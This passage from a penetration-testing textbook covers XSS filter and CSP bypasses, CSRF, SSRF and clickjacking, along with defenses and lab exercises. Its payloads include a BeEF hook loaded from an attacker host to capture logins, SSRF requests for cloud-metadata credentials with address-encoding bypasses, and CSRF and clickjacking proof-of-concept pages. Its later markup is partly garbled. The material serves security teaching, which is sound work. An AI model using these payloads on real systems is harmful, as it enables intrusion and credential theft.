When input is inside an attribute value:
```html
&amp;lt;!-- Input is inside a quoted attribute: --&amp;gt;
&amp;lt;input value="[INJECTION]" type="text"&amp;gt;

&amp;lt;!-- Payloads that break out: --&amp;gt;
"&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;           &amp;lt;!-- Close quote, close tag, inject --&amp;gt;
" onmouseover="alert(1)              &amp;lt;!-- Add new event attribute --&amp;gt;
" onfocus="alert(1)" autofocus="    &amp;lt;!-- Add focus-triggered handler --&amp;gt;
";&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;           &amp;lt;!-- Semicolon for some parsers --&amp;gt;

&amp;lt;!-- When quotes are filtered but the attribute value is unquoted: --&amp;gt;
&amp;lt;input value=[INJECTION] type=text&amp;gt;
  → Inject: onmouseover=alert(1)     &amp;lt;!-- Treated as new attribute --&amp;gt;
```

#### Technique 5 — Breaking Out of JavaScript Context

```javascript
// Input is inside a JS string:
var name = '[INJECTION]';

// Payloads:
'; alert(1); //           // Close string, execute, comment rest
';alert(1)//              // Minimal whitespace
\'; alert(1); //          // If backslash escaping is flawed
'-alert(1)-'             // Arithmetic trick stays in expression

// Template literal context:
var name = `[INJECTION]`;
// Payload:
`; alert(1); //
${alert(1)}              // Template literal expression injection

// Inside function call:
setTimeout('[INJECTION]', 1000);
// Payload (becomes executable when setTimeout runs):
alert(1)
```

#### Technique 6 — Whitespace and Separator Tricks

```html
&amp;lt;!-- Extra whitespace between tag name and attributes: --&amp;gt;
&amp;lt;img      src=x     onerror=alert(1)&amp;gt;

&amp;lt;!-- Null bytes (in some parsers): --&amp;gt;
&amp;lt;scr\x00ipt&amp;gt;alert(1)&amp;lt;/scr\x00ipt&amp;gt;

&amp;lt;!-- Tab and newline characters: --&amp;gt;
&amp;lt;img src=x
onerror
=
alert(1)&amp;gt;

&amp;lt;!-- Slash between tag name and attribute: --&amp;gt;
&amp;lt;img/src=x/onerror=alert(1)&amp;gt;
```

#### Technique 7 — JavaScript Without Parentheses or Quotes

Some WAFs block `alert(` or function calls with parentheses:

```javascript
// Call without parentheses using tagged template literals (ES6):
alert`1`
alert`XSS`

// Call via various indirect methods:
[1].find(alert)          // Passes alert to Array.find which calls it
[1].every(alert)
[1].filter(alert)
[1].forEach(alert)

// Using throw:
throw alert(1)

// Chaining:
location=`javascript:alert\`1\``

// Via Function constructor:
Function`a${alert(1)}```
(new Function('alert(1)'))()
```

#### Technique 8 — Mutation XSS (mXSS)

Mutation XSS exploits inconsistencies between how a sanitizer parses HTML and how the browser subsequently parses the same sanitized string when it is inserted into the DOM. The sanitizer sees safe input. The browser's DOM parser mutates the sanitized string during rendering, re-creating a dangerous element.

This is the most sophisticated XSS bypass class and is why even mature sanitization libraries like DOMPurify have historically had mXSS bypasses. The browser's HTML parser is a complex, quirky piece of software with thousands of special cases, and sanitizers sometimes miss edge cases in parsing behavior.

```html
&amp;lt;!-- Classic mXSS bypass (historical DOMPurify bypass pattern): --&amp;gt;
&amp;lt;!-- Input that looks safe to the sanitizer but mutates in browser: --&amp;gt;
&amp;lt;form&amp;gt;&amp;lt;math&amp;gt;&amp;lt;mtext&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;form&amp;gt;&amp;lt;mglyph&amp;gt;&amp;lt;svg&amp;gt;&amp;lt;mtext&amp;gt;&amp;lt;style&amp;gt;&amp;lt;path id="&amp;lt;/style&amp;gt;
&amp;lt;img onerror=alert(1) src&amp;gt;"&amp;gt;
```

For current mXSS payloads, consult PortSwigger's XSS cheat sheet which is actively maintained and updated.

#### Technique 9 — CSP Bypass

Content Security Policy (CSP) is the primary defense against XSS exploitation. Even when XSS exists, a strong CSP prevents the injected script from executing or from making unauthorized requests. But CSP is frequently misconfigured in ways that allow bypass.

**Bypass 1 — `unsafe-inline` present:**
```
Content-Security-Policy: script-src 'self' 'unsafe-inline'
```
`unsafe-inline` allows inline scripts entirely, rendering CSP useless against XSS. Any payload works.

**Bypass 2 — `unsafe-eval` present:**
```
Content-Security-Policy: script-src 'self' 'unsafe-eval'
```
`unsafe-eval` allows `eval()`, `setTimeout(string)`, `setInterval(string)`, and `Function()`. Even if inline scripts are blocked, these vectors remain.

**Bypass 3 — JSONP endpoints on whitelisted domains:**
```
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
```
If `trusted-cdn.com` hosts a JSONP endpoint (`?callback=alert(1)`), it can be used to execute arbitrary JavaScript under the whitelisted origin:
```html
&amp;lt;script src="https://trusted-cdn.com/api/data?callback=alert(1)"&amp;gt;&amp;lt;/script&amp;gt;
```

**Bypass 4 — Angular, Vue, or other framework injection via whitelisted CDN:**
If the CSP whitelists a CDN that hosts Angular or Vue:
```html
&amp;lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;div ng-app ng-csp&amp;gt;{{constructor.constructor('alert(1)')()}}&amp;lt;/div&amp;gt;
```

**Bypass 5 — base-uri not set:**
If CSP does not include `base-uri 'none'`, an attacker can inject a `&amp;lt;base&amp;gt;` tag to change the base URL for all relative links, then serve malicious scripts from their own domain:
```html
&amp;lt;base href="https://attacker.com/"&amp;gt;
```
All relative script paths now load from the attacker's server.

**Bypass 6 — Nonce reuse or predictable nonces:**
CSP with nonces should generate a fresh random nonce per page load. If the nonce is static or predictable, it can be used in injected scripts:
```html
&amp;lt;!-- CSP: script-src 'nonce-abc123' --&amp;gt;
&amp;lt;!-- If nonce abc123 is known, injected scripts using it bypass CSP: --&amp;gt;
&amp;lt;script nonce="abc123"&amp;gt;alert(1)&amp;lt;/script&amp;gt;
```

**Testing CSP with online tools:**
Use [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) to analyze any CSP header and identify bypass vectors automatically.

---

### 6.7.7 XSS Mitigations

#### Defense 1 — Context-Aware Output Encoding (The Primary Defense)

Output encoding converts special characters into safe representations for the rendering context. This is the most important XSS defense. The key is using the right encoding for the right context — wrong context encoding is not protective.

| Output Context | Encoding Required | Example |
|----------------|------------------|---------|
| HTML body | HTML entity encoding | `&amp;lt;` → `&amp;lt;`, `&amp;gt;` → `&amp;gt;`, `"` → `"` |
| HTML attribute (quoted) | HTML attribute encoding | All special chars encoded |
| JavaScript string | JavaScript Unicode escaping | `'` → `\x27`, `&amp;lt;` → `\x3C` |
| URL parameter | URL encoding | `&amp;lt;` → `%3C` |
| CSS value | CSS hex encoding | `&amp;lt;` → `\3C` |
| JSON in HTML | JSON encoding + HTML encoding | Double encoded |

Frameworks that auto-encode:
- **React**: JSX auto-encodes all expressions (`{userInput}` is safe; `dangerouslySetInnerHTML` is not)
- **Angular**: Template binding (`{{}}`) auto-encodes; `[innerHTML]` binding does not
- **Vue**: Template binding auto-encodes; `v-html` does not

**Never use:**
- `innerHTML = userInput` — injects raw HTML
- `document.write(userInput)` — injects raw HTML
- `eval(userInput)` — executes as JavaScript

#### Defense 2 — Content Security Policy (CSP)

A properly configured CSP is a significant barrier to XSS exploitation, even when the vulnerability exists. The modern recommended CSP approach:

```
Content-Security-Policy: 
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'nonce-{random}';
  img-src https:;
  font-src https:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self';
  upgrade-insecure-requests;
```

Key elements:
- `nonce-{random}` — a per-page-load random value included on every legitimate script tag. Inline injection without the nonce is blocked.
- `strict-dynamic` — allows scripts loaded by nonced scripts to also load, without needing to whitelist CDNs (the whitelist approach is bypassable).
- `frame-ancestors 'none'` — also prevents Clickjacking (replaces X-Frame-Options).
- `base-uri 'none'` — prevents base tag injection.
- `form-action 'self'` — prevents form hijacking.

CSP is a defense-in-depth control, not a primary fix. Fix the output encoding. Use CSP as an additional layer.

#### Defense 3 — HttpOnly and Secure Cookie Flags

Setting `HttpOnly` on session cookies prevents JavaScript from reading them. This blocks the most common XSS attack goal (session theft via `document.cookie`). It does not prevent XSS exploitation entirely — attackers can still perform actions as the victim — but it removes the most impactful attack vector.

#### Defense 4 — Trusted Types (Modern Chrome Defense)

Trusted Types is a browser API that requires JavaScript code to explicitly opt into potentially dangerous DOM operations by using approved, safe implementations. Applications that adopt Trusted Types cannot use `innerHTML`, `document.write`, or `eval` with raw strings — they must use Trusted Types policies that apply sanitization.

```javascript
// In JavaScript, with Trusted Types enforced:
// This fails (rejects raw string):
document.getElementById('output').innerHTML = userInput;  // Throws TypeError

// This succeeds (uses approved policy):
const policy = trustedTypes.createPolicy('default', {
  createHTML: (str) =&amp;gt; DOMPurify.sanitize(str)  // Sanitization applied
});
document.getElementById('output').innerHTML = policy.createHTML(userInput);
```

---

### 6.7.8 Lab — Cross-Site Scripting

#### Complete DVWA XSS Practice Sequence

**Reflected XSS — Full Exploitation Chain:**

```
Low:    &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
         → Confirms cookie accessible via XSS
         → Now demonstrate session theft as described above

Medium: &amp;lt;img src=x onerror=alert(document.cookie)&amp;gt;
         → Bypasses &amp;lt;script&amp;gt; tag filter
         → Same impact

High:   Examine the source code
         → High security adds a strict regex filter
         → Find what it does NOT filter
         → Often SVG payloads or event-based payloads bypass strict script filters
```

**Stored XSS — Maximum Impact Demonstration:**

```
Step 1: Inject BeEF hook in the message field:
&amp;lt;script src="http://KALI_IP:3000/hook.js"&amp;gt;&amp;lt;/script&amp;gt;

Step 2: Start BeEF: sudo beef-xss

Step 3: Visit the guestbook page as another user (or admin)
        → Their browser appears in BeEF panel

Step 4: Execute "Pretty Theft" module → Google login overlay captures credentials

Step 5: Execute "Get Cookie" module → retrieves cookies
        (even HttpOnly ones are not directly readable, but the Pretty Theft
         demonstrates what real credential theft looks like)
```

#### PortSwigger Web Security Academy XSS Labs

The PortSwigger XSS labs at [https://portswigger.net/web-security/cross-site-scripting](https://portswigger.net/web-security/cross-site-scripting) provide the best structured XSS practice available online. Complete at minimum:
- Reflected XSS into HTML context with nothing encoded
- Stored XSS into HTML context with nothing encoded
- DOM XSS in innerHTML sink using source location.search
- DOM XSS in jQuery href attribute sink using location.search source
- Reflected XSS into attribute with angle brackets HTML-encoded
- Stored XSS into anchor href attribute with double quotes HTML-encoded

Each lab requires understanding the specific injection context and crafting the appropriate payload — exactly the skill real assessments require.

---

## 6.8 Understanding CSRF/XSRF and Server-Side Request Forgery

### 6.8.1 Overview — CSRF and SSRF

#### CSRF — Cross-Site Request Forgery: The Confused Deputy Attack

CSRF (also written XSRF) is an attack where a malicious website tricks a victim's browser into making unintended requests to another site where the victim is authenticated. The browser helpfully includes the victim's session cookies with these requests — because that is what browsers do. The targeted application receives the request, sees a valid session cookie, and assumes it is a legitimate user action.

The "confused deputy" analogy is perfect: the browser is the deputy (agent acting on the user's behalf). The attacker tricks the deputy into performing an action the user did not authorize. The deputy (browser) is confused because it has no way to tell whether the request originated from the legitimate application or from a malicious third-party site.

**The fundamental enabler:** Browsers automatically attach cookies to every request made to a domain, regardless of which website triggered the request. If `evil.com` loads an image from `bank.com`, the browser sends the bank's cookies with that image request. This is the architectural behavior that CSRF exploits.

#### The Classic CSRF Attack — Transferring Money Without Permission

Alice is logged into her bank at `bank.com`. In another tab, she visits `attacker.com`. The malicious page contains:

```html
&amp;lt;!-- Invisible to Alice — loaded automatically when the page loads: --&amp;gt;
&amp;lt;img src="https://bank.com/transfer?to=attacker_account&amp;amp;amount=5000" 
     style="display:none" width="0" height="0"&amp;gt;
```

When the browser loads this image, it makes a GET request to `bank.com` — with all of Alice's cookies attached. If the bank's transfer function accepts GET requests and does not validate CSRF tokens, the transfer completes. Alice loses $5,000 without clicking anything on the bank's website.

For POST requests (which most modern applications require for state-changing operations), the attacker uses an auto-submitting form:

```html
&amp;lt;!-- This form submits automatically when the page loads: --&amp;gt;
&amp;lt;form action="https://bank.com/transfer" method="POST" id="csrf-form"&amp;gt;
  &amp;lt;input type="hidden" name="to" value="attacker_account"&amp;gt;
  &amp;lt;input type="hidden" name="amount" value="5000"&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;document.getElementById('csrf-form').submit();&amp;lt;/script&amp;gt;
```

The victim visits the attacker's page. The form auto-submits. The POST request goes to the bank with the victim's cookies. The transfer completes.

#### Why CSRF and XSS Are Complementary Attacks

XSS bypasses the Same-Origin Policy by executing code in the victim's origin context. CSRF exploits the fact that cross-site requests include cookies. Together they are often chained:

1. Use XSS to extract the CSRF token from the page (JavaScript can read the DOM, including hidden CSRF token fields)
2. Use the extracted CSRF token to forge a legitimate-looking request
3. The CSRF protection is bypassed because the forged request includes a valid CSRF token

This is why CSRF tokens alone are not sufficient if XSS is present. And why HttpOnly cookies alone are not sufficient if CSRF is present. Defense in depth requires both controls to work together.

#### CSRF Token — The Primary Defense Mechanism

CSRF tokens are random, unpredictable values embedded in forms and required in state-changing requests. A cross-origin attacker cannot read the page containing the token (Same-Origin Policy prevents reading cross-origin responses) and therefore cannot include the correct token in their forged request.

**How CSRF tokens work:**
1. Server generates a unique, random token per user session (or per request for higher security)
2. Token is embedded in every form as a hidden field: `&amp;lt;input type="hidden" name="csrf_token" value="r4nd0m..."&amp;gt;`
3. Server validates the token on every state-changing request (POST, PUT, PATCH, DELETE)
4. If token is missing or invalid, request is rejected

**Common CSRF token implementation mistakes:**

- **Storing the token client-side in accessible localStorage** → XSS can read it
- **Using a predictable token** (sequential numbers, userID + timestamp) → guessable
- **Not validating the token on all state-changing requests** → some endpoints unprotected
- **Accepting the token in GET parameters** → Referer leakage exposes it
- **Not expiring the token** → Stolen tokens remain valid indefinitely

#### SameSite Cookies — The Modern CSRF Defense

The `SameSite` cookie attribute (covered in 6.1.4) is now the primary CSRF defense in modern browsers. With `SameSite=Strict` or `SameSite=Lax`, browsers do not send cookies with cross-site requests, defeating CSRF at the browser level.

However:
- Legacy browsers do not support SameSite — 2024 browser stats show SameSite adoption at ~97% of browsers but legacy systems in corporate environments may be lower
- `SameSite=Lax` protects against background cross-site requests but allows cookies on top-level GET navigations — if state-changing actions accept GET requests, CSRF is still possible
- Subdomain-level trust: a cookie set for `.example.com` is still sent by cross-site requests from `other.example.com` — subdomain takeover can enable CSRF

Best practice: implement both SameSite cookies AND CSRF tokens. Neither alone is perfect; together they provide defense in depth.

#### SSRF — Server-Side Request Forgery: The Inside Man

SSRF (Server-Side Request Forgery) is entirely different from CSRF despite the similar name. While CSRF tricks a user's browser into making requests, SSRF tricks the server itself into making requests to internal resources.

SSRF occurs when an application fetches a URL or resource based on user-controlled input without proper validation. The application server — which has access to internal network resources that the external attacker cannot reach directly — makes the request on the attacker's behalf.

**Why SSRF is critical in cloud environments:**

Every major cloud provider runs an Instance Metadata Service (IMDS) at a well-known internal IP address:
- **AWS:** `http://169.254.169.254/latest/meta-data/`
- **Azure:** `http://169.254.169.254/metadata/instance`
- **GCP:** `http://metadata.google.internal/computeMetadata/v1/`

An EC2 instance can make HTTP requests. If an application on that instance has an SSRF vulnerability, the attacker can instruct the server to fetch `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, which returns the IAM role credentials. Those credentials give API access to AWS — potentially to S3 buckets, databases, secrets manager, and the entire cloud account.

This is exactly how the 2019 Capital One breach occurred: an SSRF vulnerability in a web application firewall allowed an attacker to query the metadata service and obtain credentials, which were then used to download over 100 million customer records from S3.

#### SSRF Attack Vectors and Bypass Techniques

**Finding SSRF:**
Any functionality that makes server-side HTTP requests based on user input:
```
- URL preview / link unfurling / "fetch this URL" features
- Webhook configuration fields
- Image/document import from URL
- PDF generation from URL
- Server-side health check features
- OAuth redirect validation
- XML imports (XXE can lead to SSRF)
- File upload by URL
```

**Basic SSRF test payloads:**
```
http://169.254.169.254/latest/meta-data/       # AWS metadata
http://169.254.169.254/latest/user-data/        # AWS user-data scripts (credentials often here)
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure metadata (requires Metadata: true header in the request):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP metadata (requires Metadata-Flavor: Google header):
http://metadata.google.internal/computeMetadata/v1/

# Internal network scanning:
http://10.0.0.1/
http://192.168.1.1/
http://172.16.0.1/
http://127.0.0.1/admin
http://localhost:6379/   (Redis)
http://localhost:27017/  (MongoDB)
http://localhost:9200/   (Elasticsearch)
```

**SSRF filter bypass techniques:**
```
# If IP 169.254.169.254 is blocked, try alternative representations:
http://2852039166/             # Decimal representation of 169.254.169.254
http://0xa9fea9fe/             # Hex representation
http://0251.0376.0251.0376/    # Octal representation
http://0xA9.0xFE.0xA9.0xFE/   # Mixed hex octets

# IPv6 representations:
http://[::ffff:169.254.169.254]/
http://[::ffff:a9fe:a9fe]/

# DNS rebinding — register a domain that resolves to internal IP:
# Your domain: ssrf.attacker.com
# DNS: initially returns attacker's server IP, then rebinds to 169.254.169.254
# First request: allowed (external IP)
# Second request: uses cached DNS → hits internal IP

# Using redirects to bypass URL validation:
# Your server returns: HTTP 302 Location: http://169.254.169.254/
# Application follows redirect to the internal address

# Protocol-based SSRF:
file:///etc/passwd           # Local file read via file protocol
dict://127.0.0.1:6379/info   # Interact with Redis via dict protocol
gopher://127.0.0.1:25/...    # Send SMTP commands via gopher
sftp://internal-server/      # SFTP protocol for internal access
```

**Blind SSRF — using Burp Collaborator to detect:**
When SSRF does not reflect the response, use Burp Collaborator to detect the out-of-band request:
```
URL input: http://your-burp-collaborator-id.burpcollaborator.net/ssrf-test

# If you receive an HTTP or DNS request in Collaborator:
# The application made an outbound request — SSRF confirmed
# Now test with internal targets
```

**SSRF Chaining — From SSRF to RCE:**
SSRF is powerful alone (cloud credential theft), but can be chained:
1. SSRF to Redis (`redis://localhost:6379`) → write to authorized_keys → SSH as root
2. SSRF to Jenkins admin (`http://localhost:8080`) → execute Groovy script → RCE
3. SSRF to Kubernetes API → list pods → get secrets → escalate
4. SSRF to internal admin panel → bypass authentication (accessible only from localhost)

---

### 6.8.2 Practice — CSRF and SSRF Attacks

#### Building a CSRF Proof of Concept

The most convincing CSRF demonstration in an assessment creates a working proof-of-concept HTML page that performs the unauthorized action when visited.

**Step 1: Capture the legitimate request**
In Burp Suite, perform the legitimate state-changing action (changing email, changing password, initiating transfer). Find the request in Burp HTTP History.

**Step 2: Check for CSRF tokens**
Examine the request for CSRF tokens or custom headers. If present, test whether they are actually validated:
- Remove the token entirely → does the request succeed? (Token not validated)
- Send an incorrect token → does the request succeed? (Token not validated)
- Use an old expired token → does the request succeed? (Token not expiring)
- Change the token by one character → does the request succeed? (Token not securely validated)

**Step 3: Generate the CSRF PoC with Burp**
Right-click the request in Burp → "Engagement tools" → "Generate CSRF PoC"

Burp automatically generates an HTML page that submits the forged request. Customize it if needed.

**Step 4: Test the PoC**
Open the generated HTML in a browser where you are logged into the target application. The action should complete automatically, confirming CSRF.

**Example manual CSRF PoC for an email change:**
```html
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;CSRF PoC&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body onload="document.csrf.submit()"&amp;gt;
  &amp;lt;form name="csrf" action="https://target.com/account/change-email" method="POST"&amp;gt;
    &amp;lt;input type="hidden" name="email" value="attacker@attacker.com"&amp;gt;
    &amp;lt;!-- No CSRF token needed if the endpoint doesn't validate it --&amp;gt;
  &amp;lt;/form&amp;gt;
  &amp;lt;p&amp;gt;Loading...&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
```

#### Testing SSRF on DVWA

DVWA does not have a dedicated SSRF module, but SSRF can be practiced using the file inclusion modules with file:// protocol, or using purpose-built SSRF-vulnerable Docker containers:

```bash
# SSRF test environment:
docker run -d -p 5000:5000 vulnerables/ssrf-test

# Or use SSRFire:
docker run -d -p 8888:8888 trufflesecurity/ssrfmap-demo
```

For real SSRF practice, PortSwigger Web Security Academy provides excellent guided SSRF labs covering basic SSRF, blind SSRF with Burp Collaborator, and filter bypass techniques.

---

## 6.9 Understanding Clickjacking

### The Concept — Stealing Clicks Through Invisible Layers

Clickjacking, also called UI Redress Attack, is an attack where a malicious page overlays an invisible (or transparent) iframe containing a legitimate target site on top of a fake, harmless-looking page. When the victim clicks on what they think is a button on the attacker's page, they are actually clicking on an element in the invisible target site.

The victim thinks they are clicking "Click here to win a prize" on `attacker.com`. They are actually clicking "Confirm fund transfer" on their bank's invisible overlay. They see the attacker's page. Their click is delivered to the bank's frame.

**The iframe magic:**

```html
&amp;lt;!-- Clickjacking attack page: --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;style&amp;gt;
  /* The target site frame is invisible and positioned exactly over the fake button: */
  iframe {
    width: 500px;
    height: 700px;
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0.0001;   /* Effectively invisible to the user */
    z-index: 2;        /* On top of everything — receives the clicks */
  }
  
  /* The fake button the user thinks they are clicking: */
  .fake-button {
    position: absolute;
    top: 200px;        /* Aligned to sit under the real "Confirm" button in the iframe */
    left: 150px;
    background: #ff6600;
    color: white;
    padding: 15px 30px;
    font-size: 18px;
    z-index: 1;        /* Below the iframe — not actually receiving clicks */
    cursor: pointer;
  }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;

  &amp;lt;!-- The malicious invisible overlay — the bank's transfer confirmation: --&amp;gt;
  &amp;lt;iframe src="https://victim-bank.com/transfer/confirm?to=attacker&amp;amp;amount=5000"&amp;gt;
  &amp;lt;/iframe&amp;gt;
  
  &amp;lt;!-- The decoy button the user sees: --&amp;gt;
  &amp;lt;div class="fake-button"&amp;gt;Click here to claim your prize!&amp;lt;/div&amp;gt;
  
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
```

When the victim clicks the orange "Click here to claim your prize!" button, the click passes through the transparent iframe and clicks on the bank's "Confirm Transfer" button positioned at the same location. The transfer completes. The victim is confused about why nothing happened on the "prize" page.

#### Clickjacking Variants

**Multi-click Clickjacking:**
The attacker constructs a sequence of steps that requires multiple clicks — each aligned with a different action in the iframe. First click on a confirmation dialog. Second click on "Are you sure?" Third click on the final confirm. The victim thinks they are playing a clicking game or solving a CAPTCHA.

**Drag-and-Drop Clickjacking:**
Instead of clicks, exploit drag-and-drop interactions. Overlay an invisible file upload form over a game where the user drags a game piece — they are actually dragging a file into the upload field.

**Keystroke Jacking:**
Overlay a text input field over the victim's apparent input area. Keystrokes they think they are typing into the game's search box are actually going into a hidden authentication form.

**Likejacking:**
Making victims unknowingly "Like" a Facebook page or share content by overlaying the social button over an attractive interface element.

#### Detecting Clickjacking Vulnerability

Testing is straightforward: if a page can be loaded in an iframe, it is potentially vulnerable to Clickjacking.

```html
&amp;lt;!-- Simple test page — save as clickjack_test.html: --&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;iframe src="https://target.com/sensitive-action" width="1000" height="800"&amp;gt;
&amp;lt;/iframe&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;/html&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- Open this in a browser. If the target page loads in the iframe:
     → X-Frame-Options header is missing or misconfigured
     → CSP frame-ancestors directive is missing
     → Clickjacking is possible --&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Using Burp Suite:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
In any HTTP response, check for:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;X-Frame-Options: DENY&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;X-Frame-Options: SAMEORIGIN&amp;lt;/code&amp;gt; — protects against framing&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;Content-Security-Policy: frame-ancestors 'none'&amp;lt;/code&amp;gt; — the modern equivalent, more flexible&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;If neither is present: Clickjacking vulnerability. Create the iframe test HTML to confirm.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Nuclei check:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;bash&amp;lt;br&amp;gt;
nuclei -u https://target.com -id clickjacking&amp;lt;br&amp;gt;
nuclei -u https://target.com -tags clickjacking&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="which-pages-matter" href="#which-pages-matter" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Which Pages Matter
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Not all pages are interesting Clickjacking targets. The vulnerability is only impactful when:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;The target page performs a state-changing action on a single click (confirm transfer, delete account, change email, approve request)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The target page is accessible when the victim is authenticated (so their session carries the action through)&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;A login page protected by Clickjacking is lower severity — the attacker can get credentials through better means. An admin panel "Delete User" button or "Approve Administrator" action that can be triggered via Clickjacking is critical.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="frame-busting-the-old-bypassable-defense" href="#frame-busting-the-old-bypassable-defense" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Frame Busting — The Old (Bypassable) Defense
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Before HTTP headers provided server-side protection, developers used JavaScript "frame busters" — code that checked whether the page was in a frame and broke out if so:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;javascript&amp;lt;br&amp;gt;
// Frame buster JavaScript (historically used, now considered insufficient):&amp;lt;br&amp;gt;
if (top !== self) {&amp;lt;br&amp;gt;
  top.location = self.location;  // Force navigation to this URL&amp;lt;br&amp;gt;
}&amp;lt;br&amp;gt;
// Or: if (top.location !== self.location) top.location = self.location;&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;These were bypassable via &amp;lt;code&amp;gt;sandbox&amp;lt;/code&amp;gt; attribute on the iframe:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`html&amp;lt;/p&amp;gt;

&amp;lt;!-- sandbox prevents the frame buster from running via the top.location access: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;iframe sandbox="allow-forms allow-scripts" src="https://target.com"&amp;gt;&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The &amp;lt;code&amp;gt;sandbox&amp;lt;/code&amp;gt; attribute removes the framed page's ability to access &amp;lt;code&amp;gt;top.location&amp;lt;/code&amp;gt;, neutering the frame buster while still allowing forms and scripts to execute. This is why JavaScript frame busters are not an acceptable defense.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="clickjacking-defenses" href="#clickjacking-defenses" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Clickjacking Defenses
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Defense 1 — X-Frame-Options header (legacy but widely supported):&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
X-Frame-Options: DENY              # Page cannot be framed by anyone&amp;lt;br&amp;gt;
X-Frame-Options: SAMEORIGIN       # Page can only be framed by pages on the same origin&amp;lt;br&amp;gt;
X-Frame-Options: ALLOW-FROM https://trusted.com  # Only this specific origin (deprecated)&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Defense 2 — CSP frame-ancestors directive (modern, more flexible):&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
Content-Security-Policy: frame-ancestors 'none';      # Same as DENY&amp;lt;br&amp;gt;
Content-Security-Policy: frame-ancestors 'self';      # Same as SAMEORIGIN&amp;lt;br&amp;gt;
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;  # Multiple&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

